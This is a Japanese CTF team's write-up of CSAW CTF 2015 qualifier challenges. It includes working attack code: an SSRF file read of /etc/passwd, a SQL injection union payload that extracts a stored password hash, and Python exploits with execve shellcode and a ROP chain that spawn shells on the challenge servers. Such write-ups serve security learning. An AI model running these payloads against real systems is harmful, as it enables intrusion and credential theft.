CSAW CTF 2015 writeup

CSAW CTF Qualification Round 2015にvulscryptosとして参加しました.
31/35問を解いて5860pt 14位(日本勢1位)でした.


チームメンバーのwriteup:

CSAW CTF 2015 writeup - しゃろの日記 http://charo-it.hatenablog.jp/entry/2015/09/23/144438

write-ups

僕がsubmitしたflagはweb200+web500+web600+exp100+exp400+crypto50+crypto50+crypto50+rev300+for100で,比較的面白かった問題のwriteupをいくつか置いておきます.

notesy (crypto 100)

flagをencryptしてくれるサービス.見るからに単一換字なのだが,encryptされたflagが見つからない.
pythonでデコーダを書いてチームのdocsに置いておいたら誰かが解いてくれた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
from sys import argv
enc_table = 'UNHMAQWZIDYPRCJKBGVSLOETXF'
def decrypt(s):
print 'enc:', s
def dec_char(c):
if c in enc_table:
offset = enc_table.find(c)
return chr(ord('a')+offset)
else:
return c
return ''.join([dec_char(c) for c in s])
print decrypt(argv[1].upper())

UNHMAQWZIDYPRCJKBGVSLOETXFがflagだったらしい.クソ

Weebdate (Web 500)

適当なアカウントでログインして遊んでいると,edit profileのところでプロフィール画像のURLに対してurllibでアクセスしているっぽいことがわかる.
file://localhost:/etc/passwdのようなURLを入れることで任意のファイルが読めることに\@a_r_g_v氏が気付き,数分後にサーバー側で動いているコード(/var/www/weeb/server.pyutils.py, settings.py)を取得した.
ログインしたいアカウントのidはdonaldtrump
あることがわかっていたので,これでコードの通りにsessionを生成するとdonaldtrumpのアカウントでログインできた.
が,この時点でまだweb500のsolvesは0であり,プロフィールや他のアカウントとのメッセージのやり取りを見てもflagが見つからない.IRCでコンタクトを取ろうとしても作問者が寝ているので待ってとのこと(クソ)だったのでしばらく待っていると,数時間後に次のhintが公開された.
Flag is md5($totpkey.$password)

どうやらdonaldのアカウントでログインするだけでは不十分で,平文のパスワードとtotpkeyを取得する必要があるらしい.totpkeyは容易に求まるが,パスワードに関しては見た感じSQL injectionの脆弱性もないし,そもそもデータベースに格納されているのはsha256(username+password)だし……

しばらくserver.pyを眺めていると,get_csp_reportにSQLiの脆弱性があることに気付いた.

1
2
3
4
def get_csp_report(report_id):
cursor = mysql.connection.cursor()
cursor.execute( 'select * from reports where report_id = %s'% (report_id,) )
return FetchOneAssoc(cursor)

ここだけcursorのplaceholderではなく%を使ってformatされていた.本来ならここは%ではなく,が入るべきだった(1文字違い).わかりにくいバグだ……

というわけでcsp_reportの方で
1 and 1=2 union select 1, user_password from users where user_name='donaldtrump';--
のようなクエリを投げるとdonaldのuser_passwordが抜けた.
あとは

1
sha256('donaldtrump'+password) = 22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3

となるようなpasswordを求めるだけ.
適当に総当たりをするコードを書いて動かしていたらzebraが見つかった.

totpkey: 6OIMTPLHSQ6JUKYP
password: zebra
$ echo -n '6OIMTPLHSQ6JUKYPzebra' | md5sum

flag: a8815ecd3c2b6d8e2e884e5eb6916900

precision (Exp 100)

canaryっぽいのが実装されている.運営のミスで問題ファイルが2回ぐらい変わってキレた.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./precision_a8f6f0590c177948fe06c76a1831e650', remote=('54.173.98.115', 1259))
r.recvuntil('Buff: ')
addr_buf = int(r.recvline(), 16)
log.success('addr_buf = ' + hex(addr_buf))
patt = '\xA5\x31\x5A\x47\x55\x15\x50\x40'
payload = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x33\xc0\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\xcd\x80'.ljust(56, '\x90')
payload += (patt*10)
payload += p(addr_buf)*100
sendline(payload)
interact()

flag: flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}

FTP (Rev 300)

認証部分のコードを読んでいると,
username: blankwallで独自のhash値が0xD386D209になるパスワード送れば良いことがわかる.
hash値の計算部分を見てみると

1
2
3
4
5
int myhash(const char *x) {
int ret = 5381;
for (int i = 0; x[i]; ++i ) ret = 33 * ret + x[i];
return ret;
}

このような感じになっていて,2週間前のMMACTFの問題(Simple Hash)と同じなことがわかる(Mod=4294967296).
http://charo-it.hatenablog.jp/entry/2015/09/08/005012 にあるしゃろプロのソルバのパラメータを書き換えて動かしたらpasswordが求まった.
password: UJD737

というわけでpasswordの時だけ^Dで入力を切るとログインできた.
RDFを叩いてflag.

flag: flag{n0_c0ok1e_ju$t_a_f1ag_f0r_you}

memeshop (Exp 400)

解法はしゃろプロのwriteupに詳しく書いてあるのでそちらを参照してください.

一応exploitだけ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
from ebil import * # <- https://github.com/193s/ebil
exec ebil('./memeshop.rb', remote=('52.3.190.202', 1337), arch='x86_64')
if LOCAL: libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if REMOTE: libc = ELF('libc-2.19.so')
def gen_shell_payload():
if LOCAL: one_gad_rce = libruby_base + 0x115a80
if REMOTE: one_gad_rce = libruby_base + 0x1129f0
payload = (chain([
one_gad_rce,
]) * 1000)[:264]
return payload
def add_meme():
r.sendline('n')
def add_skeletal(payload):
r.sendline('m')
r.sendline(payload.encode('base64').strip())
###############################################################
sendline('p')
r.recvuntil('number bro: ')
filename = '/proc/self/maps'
sendline(filename.encode('base64').strip())
map_data = r.recvuntil('[vsyscall]').split('\n')
libruby_target_line = filter(lambda x: 'libruby' in x, map_data)[0]
libruby_base = int(libruby_target_line.split('-')[0], 16)
log.success('libruby_base = ' + hex(libruby_base))
r.recv()
for i in xrange(256):
add_meme()
add_skeletal(gen_shell_payload())
print '*******************************************************'
sendline('c')
interact()

flag: flag{dwn: please tell us your meme. I'm not going to stop asking}

最後に

今回は某社の会議室をお借りして会場6~10人+リモート5人ぐらいで取り組んでいました.
ピザ美味しかったです :)